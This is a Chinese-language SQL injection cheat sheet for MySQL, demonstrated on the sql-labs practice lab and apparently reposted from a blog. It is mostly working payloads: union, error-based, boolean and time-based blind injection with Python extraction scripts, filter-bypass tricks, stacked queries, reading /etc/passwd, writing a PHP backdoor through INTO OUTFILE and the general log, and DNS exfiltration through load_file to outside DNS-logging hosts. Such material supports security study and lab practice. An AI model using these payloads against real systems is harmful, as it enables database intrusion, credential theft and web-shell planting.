大致分为有回显和无回显两类进行梳理,重心会放在盲注这一块,正则匹配等一些技巧都放在盲注部分。
使用sql-labs进行演示,在challenges数据库中在添加一个flag数据库表,并修改sql-labs源码使其回显执行的sql语句,方便演示。
判断是否存在SQL注入本质都是看页面是否出现异常
加单引号’、双引号”、单括号)、双括号))或者进行组合看看是否报错(字符型)。服务器不返回报错信息时,加 and 1=1 、 and 1=2 看页面是否有变化(数字型),字符型的话还得先闭合sql语句(使用# | --+ |'单引号等闭合)。如果没有回显信息的话,加上sleep()、benchmark() 等能产生时间延迟的函数,根据服务器响应时间进行判断。 有回显: union注入:最基础的注入类型,sql语句大致为:
SELECT * FROM users WHERE id='$id' LIMIT 0,1 #Less-1
获得当前表的列数:
?id=111' order by 4--+
?id=111' union select 1,2,3--+
报错就是超过列数了,几个字段通常对应页面上有几个回显位。
这时已经可以使用mysql函数获取一些基本信息了,如版本号以便后面注入。
version() /@@version:数据库的版本database() :当前使用的数据库@@basedir : 数据库的安装目录@@datadir : 数据库文件的存放目录user() : 数据库的用户current_user() : 当前用户名system_user() : 系统用户名session_user() :连接到数据库的用户名获取数据库:
接下来的 *** 作都得依赖 information_schema.tables ,这里存储了数据库的结构:数据库名、表名、列名(字段名)等。
union select 1,group_concat(schema_name),3 from information_schema.schemata--+
获取表名:
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges' --+
获取列名:
union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='challenges' and table_name='flag' --+
获取字段值:
union select 1,group_concat(flag),3 from challenges.flag --+
报错注入:
页面上没有显示位,但是能输出 sql语句执行错误信息。比如存在 mysql_error()。
通过函数之间的产生的异常,使得查询的一部分(payload)以错误回显的形式显示出来。
floor报错注入and (select * from (select count(*) from information_schema.tables group by concat((user()),floor(rand(0)*2)))a)--+
user()处为你想查询的内容,如查询所有的数据库名:
and (select * from (select count(*) from information_schema.tables group by concat((select group_concat(schema_name) from information_schema.schemata),floor(rand(0)*2)))a)--+
ExtractValue报错注入
and extractvalue(1, payload)
UpdateXml报错注入
and updatexml(1,payload,1)
ExtractValue、UpdateXml对输出字符数会有限制,需要配合字符串截取方法。
无回显:无回显的话需要找到判断值(如and 1=1 | and 1=2)的不同回显或者反应。
回显内容、长度不同返回的HTTP头的不同,比如结果为真可能会返回Location头或者set-cookie看HTTP状态码,比如结果为真(登录成功)则3xx重定向,为假则返回200服务器响应时间然后还需要三点:
判断表达式的真假(or and ^等逻辑运算符)
字符串截取(substr()、left()、REGEXP)
判断字符串是否相等(= > LIKE REGEXP等比较运算符)
MySQL运算符|菜鸟教程
下面对判断表达式的真假、字符串截取和判断分别进行梳理。
布尔盲注: 判断表达式的真假通常可用and、or、&、|| 这些,如:
1' and 1=2 1' || 1=1#
异或注入
但在过滤了and、or 之后^异或符号就派上用处了,也就是xor注入,其基本原理:
0^1^0 --> 1 返回为真
0^0^0 --> 0 返回为假
1^0^1 --> 0 1^1^1 -->1
结果均由中间位置值决定,那么把中间的位置换成payload就行了
在注释符号被过滤时也可以使用
字符串截取 substr()从字符串 s 的 n 位置截取长度为 len 的子字符串
SUBSTR(str,pos,len)
mid()从字符串 s 的 n 位置截取长度为 len 的子字符串
MID(str,pos) | MID(str,pos,len) | MID(str FROM pos) | MID(str FROM pos FOR len)
其实上面得substr函数也可以这样 *** 作,mid()和substr()都是substring()的同义词。
right() | left()从字符串 s 的右/左边开始返回n 个字符
right | left(s,n)
right() | left()不能像substr和mid一样精准截取某一位进行比较,但可以配合ascii / ord函数一起使用(left还要加上reverse()),这两个函数会返回字符串 s 的第一个字符的 ASCII 码。通过修改返回字符数就能进行按位比较了。
lpad | rpad在字符串 s1 的开始处填充字符串 s2,使字符串长度达到 len
lpad | rpad(s1,len,s2)
用法和right | left差不多
insert()字符串 s2 替换 s1 的 pos 位置开始长度为 len 的字符串
insert(s1pos,len,s2)
insert的按位比较可以使用left那种方法,也可以对insert进行嵌套
select ascii(reverse(insert('abcde',4,999999,'')));
SELECT insert((insert('abcde',1,截取的位数,'')),2,9999999,''); #从0开始
trim()
表示移除str这个字符串首尾(BOTH)/句首(LEADING)/句尾(TRAILING)的remstr
TRIM([{BOTH | LEADING | TRAILING} [remstr] FROM str)
如果要移除的字符是开头字符串则移除,若不是则返回原字符串
也就是说除了首字符串以外,其他字符进行截取返回值都是一样的,那就可以用来判断首字符串了。
也就是说对两个字符i和i+1的trim截取结果进行比对,若不一样即结果为0,说明两个字符串中间有一个是正确结果。接下来对比i+1和i+2即可,若一样即结果为1,说明i+1和i+2都不是正确结果,第一位是i。
当我们判断出第一位是'a'
后,只要继续这样判断第二位,然后第三位第四位…以此类推:
截取+比较的结合体
binary 目标字符串 regexp| rlike 正则
使用binary是因为regexp | rlike匹配是大小写不敏感的,需要加上binary
关键字(binary
不是regexp
的搭档,使用位置是字符串的前面用于描述类型,MySQL中binary
是一种字符串类型)
模糊匹配,可替代等号。
BETWEENexpr BETWEEN 下界 AND 上界
IN判断是否在一个集合中,大小写不敏感,需配合binary关键字
expr1 in (expr1, expr2, expr3)
GREATEST | LEAST返回列表中的最大/小值,可代替比较 *** 作符
GREATEST | LEAST(expr1, expr2, expr3, …)
减号或取余配合and 或者 or使用,只要在结果正确时才为0
order by通过order的排序功能比较结果,比较的是数据的首字母大小,使用limit限制输出第一个,可代替> <使用
(select 'r' union select user() order by 1 limit 1)='r';
#表有多条数据时使用where限定条件,再查询比较
SELECT * from users where username='Dumb' union SELECT 1,2,'e' order BY 3 LIMIT 1;
CASE
CASE s1 WHEN s2 THEN exp1 ELSE exp2 END;
脚本模板import requests
url = f"http://127.0.0.1//Less-5/?id=1'"
string = [ord(i) for i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789,']
res = ''
for i in range(1,60):
for j in string:
payload = f" and 1=(ascii(right((select group_concat(schema_name) from information_schema.schemata),{i}))='{j}')--+"
r = requests.get(url+payload)
if 'You are in' in r.text:
res = chr(j)+res
print(res)
时间盲注:
与布尔盲注大致相同,最大的区别是直接返回0 1已经无法得知结果了,需要构造条件表达式利用相关函数进行延时反馈。
条件表达式 CASECASE WHEN (condition) THEN exp1 ELSE exp2 END; # 表示如果condition条件为真则返回exp1,否则返回exp2
if
if((condition), exp1, exp2);
延时函数
sleep()
benchmark()
测试某些特定 *** 作的执行速度,若执行次数足够大就可以产生延迟
benchmark(执行次数,特定 *** 作)
笛卡尔积延迟union select count(*) from information_schema.tables a join information_schema.columns b join information_schema.columns c where (1=2) #可以使用联合查询的话直接在where后加条件
select count(*) from information_schema.tables a join information_schema.columns b join information_schema.columns c; #不行就和sleep一样加到if或case when里面
正则
select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');
脚本模板
import requests
url = f"http://127.0.0.1//Less-5/?id=1'"
string = [ord(i) for i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789,']
res = ''
for i in range(1,60):
for j in string:
payload = f" and if((ascii(right((select group_concat(schema_name) from information_schema.schemata),{i}))='{j}'),sleep(3),0)--+"
try:
requests.get(url+payload, timeout=2)
except:
res = chr(j)+res
print(res)
break
报错盲注:
还有一种情况就是没有开具体的报错信息回显,但页面会告诉你是否出错了。
直接套用时间盲注用的条件表达式(if、case)即可,将延时函数换成会引起报错的函数。
报错函数 exp()exp(999*(condition)); #结果数值过大报错
exp(709+(condition));
pow
pow(999*(1=1),999) #结果数值过大报错
cot
cot(condition) #条件为假就报错
Bypass
空格
select/**/ascii(substr('abcde',1,1))>97; # /**/注释符
select 'test',(select user() from admin limit 0,1) # 括号
select`id`from`student`; # 反引号,适用于包裹表名和列名
空白字符(url当中使用):%09,%0a,%0b,%0c,%0d,%20,%a0;
select关键字table student => select * from student; #mysql8可用
handler
handler users open as test;
handler test read FIRST;
handler test read next;
show
show tables;
show columns from users;
单引号
参数逃逸:
宽字节
数据库的gbk编码与PHP的UTF-8,和addslashes的影响下产生的单引号逃逸
%df%27 => %df%5c%27 => 運’ (%5c为反斜杠转义符)
转义一个原SQL语句的单引号产生逃逸,反正只要有单引号不配对就行
select * from users where username = '\' and password = 'and 1=1#'
字符串:
双引号
char函数
conv函数进制转换
lower(conv(10,10,36)) # 'a'
lower(conv(11,10,36)) # 'b'
使用16进制
select unhex(hex(6e6+382179)); #16进制转10进制再用科学计数法表示
逗号
offset:
limit 9 offset 4 => limt 9,4
join语句代替:
select * from users union select * from (select 1)a join (select 2)b JOIN (SELECT 3)c;
#等价于=>
select * from users union SELECT 1,2,3;
数字/字母
false !pi() 0 ceil(pi()*pi()) 10 A ceil((pi()+pi())*pi()) 20 K
true !!pi() 1 ceil(pi()*pi())+true 11 B ceil(ceil(pi())*version()) 21 L
true+true 2 ceil(pi()+pi()+version()) 12 C ceil(pi()*ceil(pi()+pi())) 22 M
floor(pi()) 3 floor(pi()*pi()+pi()) 13 D ceil((pi()+ceil(pi()))*pi()) 23 N
ceil(pi()) 4 ceil(pi()*pi()+pi()) 14 E ceil(pi())*ceil(version()) 24 O
floor(version()) 5 ceil(pi()*pi()+version()) 15 F floor(pi()*(version()+pi())) 25 P
ceil(version()) 6 floor(pi()*version()) 16 G floor(version()*version()) 26 Q
ceil(pi()+pi()) 7 ceil(pi()*version()) 17 H ceil(version()*version()) 27 R
floor(version()+pi()) 8 ceil(pi()*version())+true 18 I ceil(pi()*pi()*pi()-pi()) 28 S
floor(pi()*pi()) 9 floor((pi()+pi())*pi()) 19 J floor(pi()*pi()*floor(pi())) 29 T
https://wooyun.js.org/drops/MySQL%E6%B3%A8%E5%85%A5%E6%8A%80%E5%B7%A7.html
无列名注入(可盲注)select arnold FROM (select 1,'arnold',3 union select * from users)any;
select b FROM (select 1,2 AS b,3 union select * from users)any;
SELECT `2` FROM (select 1,2,3 union select * from users)any;
先用union构造表的别名,然后再套个select去查询这列的值
或者比较两个子查询的结果进行盲注,通过大小于号,可以逐字符检索出数据
select (SELECT 2,'de','admin')>(select * from users limit 1);
join using()注列名(需有错误回显)
通过对想要查询列名的表与其自身建立内连接产生列名冗余错误,通过错误回显得到表名。
使用 USING 表达式声明内连接(INNER JOIN
)条件来避免重复报错,得到后续列名.
SELECT * FROM (SELECT * from users a JOIN (SELECT *FROM users)ANY) ANY;
SELECT * FROM (SELECT * from users a JOIN (SELECT *FROM users)b USING(id))c;
SELECT * FROM (SELECT * from users a JOIN (SELECT *FROM users)b USING(id,username))c;
无information_schema
information_schema就是个信息数据库,思路是找个能代替他的库。
InnoDB:mysql.innodb_table_stats(mysql默认关闭InnoDB存储引擎)
sys.schemma;基础数据来自于performance_chema和information_schema(version >= 5.7)
sys.x$schema_flattened_keys
sys.schema_table_statistics
sys.x$ps_schema_table_statistics_io(这个是表名最多最全的)
sys.schema_auto_increment_columns(监控表自增id)
sys.schema_table_statistics_with_buffer
这里只列举了一些,更详细的可以看https://xz.aliyun.com/t/7169#toc-53
获得表名之后配合无列名注入,或者join using报错得到列名就行。
正则过滤关键字 无order by判断字段数where id = '1' group by 3;
where username = 'Dumb' limit 1,1 into @,@,@;
其他类型的注入:
二次注入
常见于用户名处,数据存入的时候经过过滤转义,但登录时,或取出来在网页上展示的时候没有做防护。
order by注入以sql-labs Less-50为例
可以利用order by后的一些参数进行注入,依据排列结果作为反馈
RAND(LEFT(database(),1)>'r')
RAND(LEFT(database(),1)>'s')
#布尔
rand(1=1)
IF(1=1,name,price)
(CASE WHEN (1=1) THEN name ELSE price END)
#报错
(select 1 regexp if(1=1,1,0x00))
updatexml(1,if(1=1,1,user()),1)
extractvalue(1,if(1=1,1,user()))
#时间
IF(ASCII(SUBSTR(database(),1,1))>115,1,sleep(1))
堆叠注入
union select不可用时,若在支持多语句执行的情况下,可利用 ;分号 执行其他恶意语句。
为了解决堆叠注入后执行的语句结果无法返回给网页的问题,可使用rename 、alter关键字修改表名、字段名,使得目标表和列顶替原来的,那就能被原定的查询语句查到了。
rename table `words` to `word`;
rename table `1919810931114514` to `words`;
alter table `words` change `flag` `id` varchar(100);
PDO模拟预处理
https://xz.aliyun.com/t/3950#toc-4
文件读写secure-file-priv
无值或目录名可被利用(mysql >= 5.5.53,secure-file-priv
的值默认为NULL
)绝对目录可知对文件/目录有读/写权限
查看是否有权限
select @@secure_file_priv;
select @@global.secure_file_priv;
show variables like "secure_file_priv";
无回显的话可尝试配合 and 1=1等永真条件,根据页面回显判断是否成功
读文件 LOAD_FILE的默认目录@@datadir文件必须是当前用户可读读文件最大的为1047552个byte, @@max_allowed_packet可以查看文件读取最大值 读取服务端文件select load_file('D:\xampp\htdocs\www\wanju\htaccess.txt');
select load_file('/etc/hosts');
#读取文件写入表中
load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
读取客户端文件
#无secure-file-priv权限要求
#连接服务器时需开启 LOAD DATA LOCAL INFILE选项 --enable-local-infile
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; #客户端
通过LOAD DATA LOCAL
命令,服务端可以要求客户端读取有可读权限的任何文件,且服务端可以在任何查询语句后回复文件传输请求
正常读文件的处理逻辑:
客户端:把/etc/passwd的内容存入file表中
服务端:请发送/etc/passwd内容
客户端:/etc/passwd的内容如下
但通常客户端不会主动发出这个文件内容写入请求,多为正常的增删改查,而恶意服务端则是利用可以用文件传输请求来回复任何语句这一点,直接用文件传输请求回复查询等sql *** 作。
客户端:查询file表的test1字段内容
恶意服务端:请发送/etc/passwd内容
客户端:/etc/passwd的内容如下
rogue_mysql_server的读文件功能就是这个原理
更多拓展攻击方式参考:CSS-T | Mysql Client 任意文件读取攻击链拓展
写文件 INTO OUTFILE不会覆盖文件INTO OUTFILE必须是查询语句的最后一句路径名是不能编码的,必须使用单引号 创建数据库导出一句话后门,secure_file_priv 需要开启select 1,"" into outfile '/var/www/html/1.php';
select 2,"" into dumpfile '/var/www/html/1.php';
into outfile 'G:/2.txt' fields terminated by ' phpinfo(); ?>';
outfile
:
1、 支持多行数据同时导出
2、 使用union联合查询时,要保证两侧查询的列数相同
3、 会在换行符制表符后面追加反斜杠
4、会在末尾追加换行
dumpfile
:
1、 每次只能导出一行数据
2、 不会在换行符制表符后面追加反斜杠(可用于写入二进制文件)
3、 不会在末尾追加换行
http://www.teagle.top/index.php/archives/157/
写入mysql日志#查询当前mysql下log日志的默认地址,同时也看下log日志是否为开启状态,并且记录下原地址,方便后面恢复。
show variables like '%general%';
#开启日志监测(默认关闭)。
set global general_log = on;
#这里设置我们需要写入的路径就可以了。
set global general_log_file = 'C:/2.txt';
#通过查询写入马。
select '';
#复原日志设置
set global general_log_file = 'D:\phpstudy_pro\Extensions\MySQL5.7.26\data\xxx.log';
set global general_log = off;
http://sh1yan.top/2018/05/26/mysql-writ-shell/
DNSlog外带数据利用unc路径配合load_file()函数可以用来发送dns解析请求,把查询结果放在多级域名中解析,然后能够在dns 服务器的解析日志中获取查询结果。
windows下可用,linux默认不可用有文件读取权限及secure-file-priv
无值需要在域名中添加随机字符串,以绕过dns缓存机制发送多次请求unc路径最大长度为128,可以通过使用substr、mid等字符串截取函数,每次传输特定位数的数据。unc路径中不能含有空格等特殊字符,可对结果进行hex编码dnslog平台:http://ceye.io/,http://www.dnslog.cn
select load_file(concat('\\',(select database()),'.xxx.ceye.io\abc'));
**UNC路径:**
上面CONCAT()函数的四个反斜杠去掉两个转义用的,实际是两 个反斜杠。刚好对应Windows当中共享文件使用的网络地址格 式开头\\sss.xxx\test\,也就是UNC路径。再访问时会先进行 DNS查询
Mysql约束攻击在SQL中执行字符串处理(如比对的时候)时,字符串末尾的空格符将会被删除
mysql数据库中当插入某个字段的值超过了预设的长度,mysql会自动造成截断(需关闭严格模式, STRICT_TRANS_TABLES),利用这一点可用绕过数据插入前的已存在比对
admin 1的超长字符串用户,在插入数据库前先查询是否已经有存在的用户时不等于admin,但在存入数据库后变成admin ,再在登录查询时就等于admin了
以此顶替admin用户登录
参考:https://www.gem-love.com/2022/01/26/%E4%B8%80%E6%96%87%E6%90%9E%E5%AE%9AMySQL%E7%9B%B2%E6%B3%A8/
https://www.smi1e.top/2018/06/19/sql%E6%B3%A8%E5%85%A5%E7%AC%94%E8%AE%B0/
https://xz.aliyun.com/t/7169
https://nosec.org/home/detail/3830.html
https://www.jianshu.com/p/f2611257a292
https://www.anquanke.com/post/id/193512
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)